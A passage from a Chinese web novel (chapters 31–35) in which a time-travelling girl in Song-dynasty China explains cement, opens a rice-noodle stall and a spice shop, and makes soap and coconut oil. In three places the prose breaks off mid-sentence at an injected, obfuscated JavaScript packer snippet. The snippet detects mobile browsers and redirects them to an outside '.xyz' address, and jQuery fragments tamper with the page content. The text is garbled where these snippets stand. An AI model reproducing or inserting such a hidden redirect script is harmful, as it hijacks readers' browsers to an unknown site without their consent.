“将以上这些原料按比例混合后烘干磨细，这时候的混合物叫生料。将生料进行高温煅烧，煅烧后的产物便叫熟料，再将熟料同石膏粉末按比例混合便成了水泥。石膏的主要作用是调解水泥的凝固速度，不加的话凝固较快，会影响水泥的质量。不管是砌墙还是修筑蓄水池，水泥至少需要一个月左右的养护期，2-3个月后强度方才达标。”【注3】 文安世听得很认真，心里的疑惑却越来越盛，王小娘子说的这些水泥的原料和加工方法是他从未听闻过的，她究竟是从何处了解的？难道真的是她所谓的乡野匠人？ “我有一个疑问诚心请教。”文安世拱手道。 “衙内请说。” 文安世面色凝重，“小娘子所谓的水泥真的是从乡野匠人处学来？还是另有高人指点？” 王文茵心说，就知道骗不过你，莞尔一笑道：“自然不是。” 文安世像是知道答案一般，舒了一口气，脸色稍霁，便没再追问下去。 这下换王文茵好奇了：“衙内不想知道我是从何知晓制作水泥的秘方？” 文安世坦然一笑：“小娘子愿意说，我便洗耳恭听，若是不愿意，我亦不能勉强。” 32. 第三十二章 如此坦荡的君子，反而弄得王文茵不好意思起来，踌躇片刻才道：“若是将来有机会我再向衙内解释这背后的原由。” 文安世扬起嘴角，眉眼含笑，道了一声：“好。” 王文茵内心一阵轻松，别看这个文七郎看起来拘谨、不苟言笑的样子，其实心眼挺好的，也不难说话，先前确实对他有所误解。王文茵按下愧疚的心，不由自主冲他笑了笑。 这一笑倒把文安世笑得不好意思了，赶紧躲开她的眼神，“我尚有一事不明，须向小娘子请教。” “衙内请讲。” 文安世博闻强记，将王文茵口述了一遍的水泥原料配方在脑中回溯一番后，问道：“小娘子适才说须将石灰石、粘土、水淬矿渣、炉渣灰、和熟石灰这些原料按比例混合，请问这比例该是多少呢？而熟料与石膏粉末的比例又该是多少？”【注1】 “比例嘛……”王文茵尬笑：“我已记不太清了，最好的办法就是亲自动手试验，多试验几次应该就能找到最佳的配比了。” 文安世也不客气：“既然如此，那便只能麻烦小娘子同我一起试验咯，这样才能尽快确定水泥的原料配比，修建蓄水池造福于民嘛。” 王文茵心说：我这是挖坑给自己跳啊！ 文安世促狭笑道：“小娘子可是有为难之处？” “……倒也没有。” “那便这么决定了。”文安世抚掌道：“原料由我来准备，小娘子只需到场指导便成。” 他不给她反悔的机会，说完就走，等王文茵反应过来后，冲着他的背影嘟哝：“我什么时候答应你了啊喂！” **** 香药铺子的装修设计方案绘制完成后，王文茵便带着张二嫂、阿萍一家一道前往朱仙镇开拓新事业去了。 早已引颈期盼的赵四郎一拿到王文茵带来的设计图纸便迫不及待打开来欣赏。 “这装修图……”赵四郎只觉自己言辞匮乏，不知该如何表达内心的震撼。 王文茵是对标后世的室内装修设计图纸来绘制的，图纸不仅包含了平立剖面，还有节点细节和家具设计，对于一千年前的宋朝本地人赵四郎来说确实太超前了。 “图纸有什么问题吗？” “没，没问题，就是，就是太好了！我从未见过如此详尽的装修图。”赵四郎羡慕又崇拜，“小娘子你怎么什么都会？” 王文茵尬笑，“我只是站在了巨人的肩膀上。” 赵四郎秒懂。 王文茵展开方案设计图解释给赵四郎听：“正对入口大门的是一整面墙的木格子，上层不做抽屉，开放式的格子里可以摆放各种香味的精油，下层则是跟药铺一样的抽屉格，用来存放不同的香辛料。柜台一则是开放式的木架子，架子上叠放大小统一的木方框，用来装香膏、香饼、香皂之类的日化用品，这样便于顾客自行选购。另一侧则是待客区，设有茶座，来香料铺的通常都是女眷，坐下喝口茶，再做个手部按摩护理，购物的同时还能享受免费的美容美体服务，试问有哪个女子能拒绝得了呢？” 赵四郎拍案叫绝：“小娘子，你真是天才！这样的香料铺子我敢说放到整个东京都是绝无仅有，势必很受欢迎。” “哪里，哪里。”王文茵客套道：“我只是站在消费者的角度考虑，用免费的茶水和美容服务换来更高的销售额。” 自从上次王文茵透露自己曾在太虚幻境里穿越去过后世后，赵四郎便不再对她嘴里那些奇奇怪怪的新词儿感到奇怪了，相反他的接受度很高，对一切新鲜的事物保持着旺盛的好奇心。 “不过，”赵四郎指着设计方案中开放式木架提出了自己的担忧：“将香膏、香饼、香皂敞开着摆放在此处，会不会被人顺手牵羊给摸了去？” “有这个可能性。”王文茵道：“不过既然我们开门迎客，便不能避免遇上手脚不干净之人，只是这样的损失跟良好的购物体验比起来还是在可承受范围之内。若是封闭起来，客人便不能自行挑选喜欢的香味和品种，选购的商品也就比较受限。反而让客人自行选购，客人便会不由自主选了一件又一件，到结账的时候才发现哪样都舍不下，也就一并全买下了不是？” 赵四郎犹如醍醐灌顶，连连点头称道：“确实如此！确实如此！” “此外，店内除了掌柜和账房，还需再培训几名导购和美容师。”王文茵提议。 “何谓导购？何谓美容师？” “导购便是引导顾客购物，给客人推荐商品之人。而美容师便是给客人做护肤美容的人。” “这个容易，回头我让牙人选几个合意的婢女来便是。”赵四郎想起什么似的问道：“香料铺子还需要一个能干的掌柜，小娘子是否愿意接管？” 王文茵摇头：“我要负责研发香料和日化用品，怕是难以分身，不过我倒是有个人选。” “何人？” “便是张二嫂，她有管理米线作坊的经验，又懂如何培训员工，由她来管理培训导购和美容师，最合适不过。” 赵四郎见识过米线作坊的流水线作业，知道张二嫂深得王小娘子信任，是管理的一把好手，哪有不答应的道理。 安排好前面铺子的事，王文茵又马不停蹄到后院指导阿萍一家关于摆摊卖米粉花卷的事。 后院有三间屋子，阿萍一家住最大那间，张二嫂带两个孩子住隔壁，还剩下一间小的留给王文茵过来视察工作的时候暂住。 原本他们都说要把最大那间房让给王文茵，王文茵却是不肯。她并不常住，有个能过夜的床铺就行，阿萍一家五口住大屋都嫌拥挤，小房子根本转不开身。最后在王文茵的坚持下，阿萍一家才勉为其难搬进了大屋。 住宿的问题安排好了后，王文茵让张二嫂跟牙人去找个老妈子来帮忙洗衣做饭洒扫。虽然阿萍她娘说自己可以兼职老妈子的活，但考虑到她的身体状况，王文茵只让她给四个孩子当保姆。这样一来，张二嫂和阿萍父女就不用操心后院的事了，可以专心搞事业。 这边琐事都安排好后，阿萍跟她爹也已经将原汤和肉丝粉码熬煮上了。 对于即将开展的新事业阿萍是既兴奋又期待，一大早便跟她爹过来将几间屋子和院子都洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930611|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫干净，又马不停蹄切肉炖汤，连饭都赶不及吃一口。等这些弄完后她又开始擦拭餐车，这是她们一家今后赖以为生的小买卖了，小娘子说现阶段暂且先给他们发工钱，等他们攒够钱便可以入股自己当老板。 阿萍对这辆餐车真是爱不释手，用抹布擦得簇新簇新的。王文茵还让穆叔做了一杆望子插在餐车上，并由她亲自手书“李记米线”四个字。是“李记”诶，从今往后她们老李家便不再是穷困潦倒的流民了，他们有自己的招牌了，还是全朱仙镇第一家卖原汤米线的小吃摊呢。 “小娘子，咱们这米线卖多少钱一碗？”阿萍问。 王文茵算了算，“猪油拌粉5文钱一碗，原汤肉丝粉20文一碗，五香花卷也是5文钱一只。” 阿萍点头应是，又道：“小娘子，咱们为何不卖其他口味的米线？” “不用急，慢慢来。先用最简单的两种口味打开市场，待有了竞争对手后再开发新口味也来得及。” 阿萍恍然大悟：“我懂了！若是一开始便推出多种口味的米线，其他竞争对手全学了去咱们就没优势了，对不对？” “孺子可教也。”王文茵拍拍阿萍的胳膊：“这卖米线是营生，最主要的还是要推销咱们作坊自己生产的米线。” “我晓得的。”阿萍拍拍胸口：“二婶子已经给我交待清楚了，若是散客想买干米线，便让他们去周记米粮铺子，若是大客户想订购米线，便让他们到丰收村去定制。” 王文茵眯眼笑着点头，不错，不错，阿萍已经可以独当一面了，接下来还得让张二嫂再培养几个能干的助手出来备用。 当晚王文茵便留宿在了铺子的后院，明日是李记米线摊第一天营业，她要去看看食客们的反馈。 翌日一早，天还没亮，阿萍父女就已经起来忙乎了。五香花卷要现做的才好吃，父女俩鸡鸣时分便起来揉面捏花卷，将蒸好的热腾腾花卷连同昨晚备好的米线底汤和肉丝粉码一起装上餐车后便出门去沿街叫卖了。 日出时分，王文茵偕同张二嫂出门去寻阿萍父女。沿着河岸徐行，一路上都是各种早餐铺子，先买两个胡饼垫垫肚子，边吃边感受早市热闹的烟火气。还没到码头附近，便看见前方排了一条长龙，人多到一眼望不到头。 王文茵心里纳闷，也不知是哪家的早点这么受欢迎，走近一瞧，竟是李记米线。 排队的人实在太多了，阿萍父女俩分工合作，一个煮米线，一个蒸花卷，饶是如此还是应接不暇，忙得团团转。等候的食客都饿红了眼，吵吵嚷嚷让老板手脚快点，父女俩周转不过来，阿萍急得都快哭出来了。 张二嫂见状立刻去给阿萍父女帮忙打下手。 王文茵也主动站出来安抚排长龙的食客们：“请大家稍安勿躁，咱们李记米线今日第一天营业，没料到这么受欢迎，为了感谢大家的厚爱，每人赠送一只五香花卷，送完为止。” 既然有免费吃食赠送，食客们便不再吵嚷，纷纷表示理解，队伍又重新恢复了正常。 “王小娘子——”米粮铺的周老板屁颠屁颠跑上前来打招呼。 33. 第三十三章 王文茵笑着点头：“周老板起这么早也是来吃米线的？” 微胖身材的周老板跑太急，气喘得厉害，缓了好一会儿才平稳下来，抹去额头的汗珠子，摆手道：“不，不是来吃米线的，是特地来向小娘子道谢的。” 王文茵故作惊讶：“道谢？道什么谢？” 周老板指了指“李记米线”的望子，道：“今儿大早铺子都还没开门呢，就有人跑来拍门说要买干米线。我正纳闷，咱家这米线昨日才到货入库，还没来得及摆出来，怎么就有人知道了？结果一问，都说是船坞这儿新来了一家叫‘李记米线’的小食摊，卖的原汤肉丝米线好吃得不得了，还说米线都是从我家粮铺采购的。我就猜到是小娘子干的，果然没错，嘿嘿。” 王文茵谦虚笑笑，“周老板无须客气，帮你便是帮我自己，咱们一起合作方才能赚大钱。” “小娘子说的是，说的是。”周老板眼珠子骨碌碌转了转，道：“我有一事想同小娘子商议。” “周老板请讲。” 周老板讨好似的笑了笑，笑容带着试探，“听说除了咱家，小娘子还打算同别家商户合作米线买卖？” “是啊。”王文茵大方承认：“做生意嘛，总要往大了做才好，是不是？” “是，是，是，小娘子说的是，只不过，唉……”周老板眉眼都耷拉下来，苦笑道：“若是对家太多，竞争太过激烈，我这买卖就不好做了啊。小娘子，你看你们作坊是不是就别跟其他家合作了呗。” 同行竞争必然引起价格战，最后受伤的不止商家，连带米线作坊也会跟着遭殃，这一点王文茵不是没考虑过。但若是只有周记米粮铺一家独大，米线作坊便会受制于周记，对自己一样是不利的。 “周老板，你说的这个问题我已经考虑过了。”王文茵道：“其实有一个办法可以解决价格战的问题。” “什么好办法？”周老板本已掉到谷底的心情又瞬间反弹了，心里盼着王小娘子给颗定心丸吃。 王文茵笑盈盈道：“我会给所有跟咱们米线作坊合作的商家定一个市场指导价，凡是出售咱们作坊的米线都不得低于这个价格，否则就取消合作，如何？” 周老板哭笑不得，“这么说来小娘子还是要同其他商铺合作的呀？” “那是自然。”王文茵也不讳言：“周老板是生意人，所谓在商言商，你我之间的合作讲究的是公平合理，咱们互相帮衬，谁也不拖谁的后腿，是也不是？” 周老板汗颜，自己在生意场上打滚多年，谈判还不如一个十岁的小娘子老练，干笑着掩饰自己的尴尬，“是，小娘子说的是呢。” 王文茵莞尔：“既然如此，那我的米线作坊若是能获得更多的订单，我又为何要拒绝呢？” 周老板承认这是事实，换做是他也会这么做，商人逐利乃是天性，无可厚非，虽然心里有疙瘩，也只能不失礼貌地拱手致歉：“是我唐突了，小娘子莫怪。” 王文茵还礼道：“周老板不妨把思路打开，既是做买卖，便不能只盯着这一亩三分地，局限在这小小的朱仙镇，是不是？” 周老板心里一动：“此话怎讲？” 王文茵伸手指向码头：“朱仙镇漕运发达，南来北往的货船都要在此处接驳转运，周老板为何不利用这个优势将米线通过漕运贩卖去外地呢？” 周老板一拍额头，大喜道：“哎呀，我怎么没想到呢，小娘子真是聪慧！不如咱们一起合作，将这米线买卖做遍全国，可好？” 王文茵当然知道周老板这是客气话，笑着推辞：“我就不掺和了，既要负责生产米线，还要操心销售，若是再担上这漕运的压力，岂不是要累死？” 周老板表示认同，心说：做生意哪有一帆风顺的，个中辛苦如人饮水，冷暖自知，她一个小娘子哪有这么大能量把控上下游全渠道产业链，是自己想多了。 “再者，”王文茵话锋一转，道：“我另有新的买卖要开张，忙都忙不过来。” 周老板商业嗅觉灵敏，问道：“小娘子可是又发明了新的吃食？需要我帮忙吗？” 王文茵摇头，“不算吃食，只是秘制的香辛料，用来调味食材和料理，顺带再卖一些香皂之类的日化用品。” “可是那五香粉？”周老板适才已经从食客那儿分享过半只五香花卷，好吃得差点把舌头吞下去。 王文茵点头，“五香粉只是其中之一，还有别的调制合香，周老板若是喜欢，开业的时候记得来捧场，到时候我多送些试用品给你。” 这话一听就知道王小娘子已经有了安排，想插一脚怕是有点困难，本着不到黄河心不死的小强精神，周老板还是不死心地问了一句：“小娘子是打算在朱仙镇上开香料铺吗？我可以帮你介绍地段好的店铺。” 王文茵掩嘴笑：“多谢周老板，不过铺子已经定下了。” “这么快啊……”周老板有些失落，心说，这王小娘子当真不简单，原先以为她只是一个没有背景的乡野丫头，没想到居然还挺有商业头脑，这才几天啊就要在朱仙镇上开新铺子了，自己这么多年算是白混了。 “小娘子的香料铺子开在何处？回头我定去捧场。” “便是在赵太丞家药铺隔壁。”王文茵道：“离这儿不远，周老板有空可以带大娘子过来坐坐。” 周老板脑筋转的倒是快，“小娘子这香料铺子莫不是同赵太丞家药铺是一家？” “倒也不是。”王文茵并不打算隐瞒：“只是合作关系，各占股份而已。” 周老板肃然起敬：“小娘子是真人不露相，露相非真人呐。” “周老板过誉了，我只是技术参股，谈不上多厉害。”王文茵谦逊道。 周老板摇头，“小娘子太谦虚了，老周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935664|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我虽不是什么能人，但看人眼光还是很准的，小娘子未来必然会有一番大作为。” 周老板的话非但没让王文茵感到飘飘然，反而令她心里一惊，自己是不是太张扬了才会给人一种非同寻常的错觉？这可不是什么好事，她本意是想多赚点钱度过危机，结果现在却有越来越招摇的趋势。成为首富可不是她的人生目标，做个低调的有钱人才是她想要的生活。 “周老板，你可知为何我的米线作坊要挂静缘庵的招牌？”王文茵压低声音神秘兮兮道。 周老板的好奇心被顺利勾起，“为何？” “因为啊这米线作坊真正的幕后老板其实是静缘庵的住持师太，出家人不方便出面，便由我替她代理这些对外的事务。”王文茵这话听起来非常合理，恁谁也不会相信一个十岁的女娃有这般能耐，可以靠自己独立支撑起一家米线作坊，养活那么多人。 周老板恍然大悟，“难怪……呵呵，原来小娘子背后另有高人啊。” “正是呢。”王文茵眯眼笑得像只小狐狸，心说，给静缘庵的挂靠费可不是白给的。 周老板对王文茵的话深信不疑，原先还担心她一个小女娃撑不起一家米线作坊，现在知道她背后有靠山，便打消了后顾之忧。跟王文茵商定，待他搞定漕运再增加米线的订购量，誓要将这米线买卖做遍整个大宋国境。 王文茵含笑目送周老板离去，背后却传来一道打趣声：“小娘子为何诓那周老板？” 不用回头都知道这促狭的笑声来自何人，王文茵回头道：“莫非郎君认为告诉他我曾穿越时空去过后世，他会信？” 赵四郎想了想，觉得王文茵说的不无道理，穿越时空这种神乎其技之事对普通人而言更像是胡编乱造，但他偏偏就是愿意相信王小娘子所言，否则根本无法解释一个尚未及笄的小娘子为何懂的东西比自己父兄还多？ “小娘子说的是。”赵四郎道：“过于超前的东西对当下的人而言反而是危险的，就像前朝宰执王介甫大人，他的很多关于变革的想法就是太超前才不被世人所接纳。” 王文茵心头一突，仔细打量赵四郎，以为他已经识破了自己的真实身份，但看他一脸神往的样子似乎又不是，试探问道：“你见过王介甫大人？” 赵四郎摇了摇头，遗憾道：“素未谋面，王相公辞官离京之时我尚且年幼，但我读过他写的书，对他提出的‘民不加赋而国用饶’的改革目标很是崇拜。若是我大宋朝能多几个王相公这样的改革家，势必能解决当下积贫积弱的局面，令我大宋子民‘耕者有其田，居者有其屋’。”【注1】 王文茵内心感动不已，脑子却十分清醒，忍不住出声点醒他：“这些话郎君还是放在心里比较好，若是让居心叵测之人听了去，怕是会对你不利。王相公曾说‘临行而思，临言而择’，切莫忘了遭人陷构‘乌台诗案’的苏子瞻大人。” 34. 第三十四章 一句醍醐灌顶的话，令赵四郎惊出一身冷汗，他平素也不是不谨慎的人，不会轻易将内心所思所想对着个人就滔滔不绝，许是王小娘子跟旁人不一样，同她讲话他就没那么多顾忌，一个没忍住便泄露了口风。 “小娘子教训的是，是我僭越了。”赵四郎赔笑着拱手作长揖。 王文茵眨眨眼，狡黠一笑，“你就不怕我去告发你？” 赵四郎摇头，“你绝不可能做这等小人之事。” 王文茵佯装惊讶，“你就这么信任我？”心下颇为得意，看来我给人印象很靠谱。 赵四郎不好说出心里话，又怕被王文茵看穿，嘿嘿笑着挠头道：“我赶早出来吃米线呢，没想到排队的人这么多，也不知轮到我还能有剩下的不？” 这思维可够跳脱的，王文茵心说，回头看看排队的长龙，心里也没底，“李叔他们今日第一次出摊，没想到生意这么火爆，估计够呛，你若喜欢吃米线，日后便直接去铺子后院，让阿萍给你留一份就是。” “此话可当真？”赵四郎抚掌大笑：“我可太喜欢李记的米线花卷了，哪怕天天吃都吃不腻。” 粉丝如此热情，王文茵哪有不满足的理儿，当即小手一挥，慷慨道：“那是自然，你我可是合伙人。” 说到合伙人，赵四郎顺便打听了一下香皂的生产进度。 王文茵摊手，“冷制皂至少需要静置一个月后方才能使用，你若是好奇，可随我回静缘庵亲自去瞧瞧。” 赵四郎欣然应邀，虽然王文茵先前给他讲解过制皂的原理，但若是没有亲眼瞧见，便是怎么也想不通这香皂是怎么做出来的，既然王文茵不藏私，他自然是想见识一下的。 赵四郎平时去静缘庵都是骑自己家的马，但王文茵不会骑马，于是便打算雇一辆马车同她一道回去。二人来到城门附近的马厩，赵家的马平日都寄养在此，有专人照料。 北宋政府推行养马于民的制度，说起来这项政策还跟王文茵的祖父王安石有关。 宋朝因为重文轻武，军事力量薄弱，导致最适合养马的“燕云十六州”一直在辽国的掌控之中，而这也成为了北宋最大的隐患。雍熙三年（986年），辽景宗耶律贤去世，年仅12岁的耶律隆绪继位，宋太宗赵光义便想趁此机会收复被后晋儿皇帝石敬瑭割让给辽国的燕云十六州，却在金沙滩之战（雍熙北伐）中被萧太后反杀，连历史上赫赫有名的杨家军也折在了这场北伐战役中。【注1】 雍熙北伐惨败后，北宋对辽转攻为守，辽国却频频南下侵犯大宋边境。在历经长达25年的战争后，到了宋真宗这一届本来是很有希望打败辽国的，结果出于恐辽心理，在明明有利的战局下居然和辽国签订了丧权辱国的“澶渊之盟”。自此，宋朝每年须向辽岁贡白银十万两，绢二十万匹，而燕云十六州依然没能回到大宋境内。【注1】 缔结“澶渊之盟”后，虽然宋辽之间进入了一个长期稳定和平时期，但在王安石看来澶渊之盟导致真宗、仁宗、英宗三朝“忘战去兵”，大部分军队“武备皆废”，北宋的军事策略也由开拓转为守成。而辽国同样也“兵备松弛”，最终导致两国都被后起之秀金国所击败，这是后话。【注1】 如果说失去“燕云十六州”是北宋军事羸弱的外因，那么内因则是重文轻武的宋朝士大夫阶层与皇室勾结导致北宋境内可用来养马的良田沃土被皇亲国戚和臣子大量侵吞，与之相对的却是百姓的耕地面积越来越少。皇帝既动不了权贵阶级的利益，又必须解决农民的生存问题，还需要为军备蓄养战马，不得已宋真宗只能让群牧司去边境购买其他国家牧民的马充作战马。这也导致边境的马匹售价极高，买回来的却都是货不对板的老弱病残驽马。【注1】 到了宋神宗这一届，以王安石为首的改革派积极推动颁布了《五路保甲养马法》，也就是“保马法”。“保马法”是在保甲制的基础上养马于民，这一举措减少了政府的财政支出，同时因其赔偿政策严明，百姓有了保障后养马更加用心，很大程度上提高了马匹的存活率和战斗力。“保马法”不但补充了北宋的军需，增强了民间的武装力量，还有效缓解了与农民争地的矛盾，可谓一举多得。【注1】 身为“爱马士”的赵四郎一路上津津有味地聊着“保马法”的来龙去脉，滔滔不绝地表达了自己对王介甫相公的崇拜之情，王文茵简直哭笑不得。 二人刚回到静缘庵山门脚下就遇见了下山来的文安世和陈武，王文茵还没来得及问候，陈武率先开了口：“小娘子，你可算回来了，我家七郎已经寻你两回了。” 文安世横了陈武一眼：就你话多。 陈武咂砸舌，缩到文安世身后去了。 王文茵不明就里，“七衙内寻我何事？” 文安世清清嗓子，道：“自然是为了水泥和混凝土的事找你。” “哦对——”王文茵一拍额头，歉疚道：“最近太忙，差点忘了这么重要的事。七衙内若是不急，等我片刻如何？” 文安世将视线转移到跟在王文茵身后进来的赵四郎身上，王文茵便为两人做了介绍。 赵四郎见状立马上前行礼问候：“在下赵元宁，今日有幸得见七衙内，幸会之至。” 这是文安世第一次见赵元宁，先前听陈武提起过，不觉仔细打量了他两眼，随后冷淡地拱手还礼，“赵兄不必多礼。” 赵元宁也是第一次见文安世，王文茵没提文家的背景，他并不清楚文安世的来历，只是心里暗暗诧异，想不到穷乡僻壤居然还有这般风光霁月的少年郎，看他年纪应该比自己还小两岁，但周身气度却比自己沉稳许多，心里顿时冒了点酸味。 文安世朝王文茵点点头，“不急，等你完事后再来山顶寻我。”说完翩然离去。 赵元宁幽幽道：“这位七衙内似乎有点冷淡。” 王文茵不觉有异，“他一贯如此，你不必介怀。” 赵元宁放了心：“我还以为……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943240|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为什么他没说出口，王文茵也不好奇追问，转身朝庵门走去。 赵元宁抬头看她背影，忽然意识到自己似乎想多了，王小娘子才十岁，尚未及笄，有些话等她长大一点再说也来得及。随即甩了甩头，自嘲似的笑了笑，跟着一起进了静缘庵。 王文茵带赵元宁参观由原先的米线作坊改造而成的香料工坊，其实就是将灶房变成了实验室，柴房改为了生产车间。 负责管理实验室的人是静尘，此刻她正在指导女尼将过滤后的草木灰加入用石头、秸秆等物做成的滤桶内，随后往桶里慢慢注入清水。【注2】 赵元宁好奇地凑上去瞧了瞧，“这是在做什么？” “这么做的目的是用清水溶解草木灰里的碳酸钾和碳酸钠，释放出碱性离子，过滤出来的草木灰水便是一种碱性溶液。”【注2】 王文茵解释给赵元宁听，她本以为赵元宁会追问何谓碳酸钾、碳酸钠，什么又是碱性溶液？却不想他竟然冲自己眨了眨眼，用口型暗示她不必当着众人的面解释太多，否则容易被人知晓她穿越的事。 面对如此体贴的赵元宁，王文茵感动之余更是确信自己没交错这个朋友。 另一头灶台边的女尼将炭火上灼烧后的贝壳放进药捻子里研磨成粉末，随后将草木灰倒入锅中加水煮沸，再用麻布过滤后静置片刻，舀取上层的草木灰水加入另一口锅中，混合之前磨好的贝壳粉搅拌均匀，将水分加热蒸发后放入一颗鸡蛋。【注2】 赵元宁走到灶台边看女尼操作，忍不住问道：“这又是在做什么？” “一样。”王文茵道：“贝壳的主要成分是碳酸钙，经过高温灼烧后会变成氧化钙，也就是生石灰。生石灰同草木灰水混合后就成了碱水，在碱水中加入一枚鸡蛋，若是鸡蛋能浮起来，便说明碱水已经可以用来制作肥皂了。”【注2】 赵元宁觉得这些实验实在太有趣了，简直为他打开了新世界的大门，忍不住将脑袋伸向锅内的碱水，想闻闻它的味道，却被王文茵及时制止了。 “碱水有强烈的腐蚀性和刺激性，会灼伤人的皮肤和呼吸道。”王文茵指着其他人道：“你没发现大家都带着口罩和手套吗？” 赵元宁这才注意到实验室里的女尼脸上都带着一只怪异的面罩，用来捂住口鼻，而手上也都戴着手套。 王文茵让静尘取来一副新的口罩给赵元宁佩戴，“我们的手套尺寸较小，口罩你应该勉强能戴上。” 赵元宁依样画葫芦将口罩戴在脸上，深吸一口气，发现适才刚进实验室便闻到的那股刺鼻的怪味居然消失了，这口罩的夹层里应该是放了碎薄荷叶，气息十分清新，而他依然能顺畅呼吸，于是脑中灵光一闪。 “小娘子能否再多做几个口罩？我想拿回去给父兄试用，这比他们平常用的面罩可方便太多了，还能过滤怪味。” 赵元宁的话提醒了王文茵，她点头道：“自是没问题，这口罩本来就是按照医用标准做的，只是……” 35. 第三十五章 “只是什么？”赵元宁追问道。 王文茵将口罩拆开展示给赵元宁看，“只是眼下我们这儿只有苎麻，若是能找到棉花就更好了。苎麻虽透气，却远不及棉纱口罩舒适，且棉纱能更有效地过滤掉有害物质，是最适合做医用口罩的面料。” 棉花对宋朝人来说还是新鲜事物，赵元宁更是闻所未闻，他有种感觉，在王文茵这个穿越过后世的人面前，自己哪怕读再多的书也不过是文盲而已。 “这棉花又是何物？” 王文茵拿来纸笔，将棉花的形状画出来给他看，指着棉花中间那团白絮道：“这团白絮便是棉的纤维，即可用来填充保暖，亦可纺纱织布，是比葛、麻、丝更实用的衣物原料。” 赵元宁拿起棉花的样图看了又看，很难想象这团白白胖胖的棉絮竟有如此神奇的作用，“你可知何处能找到此物？” 王文茵思忖道：“听闻西域和闽岭以南【注1】皆有种植棉花。种在西域的多为一年生的棉花，又称小棉；闽岭以南地区种植的则为多年生的中棉，当地土人用中棉织的布名为吉贝布。”【注2】 “若是闽岭以南地区有中棉，那便简单了，我们的香料供应商就是从泉州来的，待我向他打听一番再告知于你。” 王文茵喜道：“若是有棉花籽便更好了，可以让本地农户也种上棉花。” 赵元宁遗憾道：“可惜闽岭没有市舶司，否则以泉州得天独厚的地理条件，洋货商贸将远比现在更发达，棉花或许早就被传到东京来了。”【注3】 王文茵脱口而出：“泉州很快就会设置市舶司了。” “你如何知道？”赵元宁想起什么似的一拍脑袋：“你定是在太虚幻境里见过，是不是？” 王文茵摇头，“泉州外贸发达，农业却不足，当地百姓主要依靠外贸维生。先前凡是从海外运货回来的商船都必须辗转去广州市舶司核查。如此一来，时间久，路途远，还有撞到暗礁的风险。是以泉州知州陈偁（音chēng）多次上书朝廷希望在泉州设立福建路市舶司，但却被驳回。现如今新法被废，朝中掌权的已非原来的改革派，相信陈知州定会再次上书恳请朝廷在泉州设置市舶司。”【注3】 赵元宁对王文茵的话深信不疑，搓手道：“若在泉州设置福建路市舶司，那么今后从海外运回来的香料便无须经由广州市舶司抽解，可直接由泉州发往东京。这么一来不仅时间上简省，香料的价格也会有所下调，而我们的成本也能相应降低。” 这正是王文茵想要的，成本下降便能让更多底层的百姓买得起他们研制的日化用品，改善卫生习惯，减少细菌病毒传播导致的各种传染病。 “小娘子，今日是熬猪油还是榨椰子油？”静尘过来征求王文茵的意见。 王文茵看了赵元宁一眼，道：“便用椰子油吧。” “椰子居然也能榨油？”赵元宁想起前些日子王文茵托他花重金从水果批发商那儿设法弄来的一筐椰子，还以为她想喝椰汁，没想到居然是用来榨油。 “能不能你看了就知道了。”王文茵让人将一筐椰子搬到院子里，再让王大崔找来一把砍柴刀准备给椰子开瓢。 王大崔虽然腿瘸，却是砍柴的一把好手，手起刀落间便将椰子壳的顶门给开了瓢。随后将椰子里的汁水先倒入干净的木桶蓄着，再将椰子壳从中间劈开成两瓣，露出内瓤雪白脆质的胚乳，也就是椰子肉。 王文茵拾起半块椰子壳指着里面雪白的椰瓤给赵元宁解释：“这一层是椰子的胚乳，也叫椰肉，这可是好东西，既可用来榨椰子油，磨椰浆，还能制成椰蓉做甜点，可好吃了。” 赵元宁不自觉地咽了咽口水，他不是没喝过椰汁，只是不知道椰子肉还有这么多用途，想想那些被白白浪费掉的椰壳，不由一阵肉疼。 “只是这椰肉与椰壳贴合如此紧密，要如何才能将它们分离开来？”赵元宁提出了自己的疑惑。 王文茵笑道：“很简单，让周阿婆给你演示一下。” 周婆子将竹子削成的薄篾片插入雪白的椰肉同椰壳之间，轻巧地一转一刮，囫囵的整块椰肉就同椰壳分离开来。 赵元宁看得眼睛都圆了，“竟然如此简单！” 随后静缘庵的女尼便将剖下来的椰肉上附着的杂质清理干净，再用山泉水浸泡冲洗，放入舂米的石臼内捣碎，捣的时候将先前蓄积起来的椰子水加一些进去更容易捣碎。捣碎的椰肉用石磨磨成椰浆后再用麻布过滤，最后还需放在木盆里静置两日。 “这便是椰浆？”赵元宁好奇地围着木盆打转，乳白色的椰浆如牛乳般细腻润滑，清冽甘甜的椰香味萦绕鼻端，口水已经快要淌下来了，他可太想尝尝这椰浆的滋味了，就是不太好意思开口讨要。 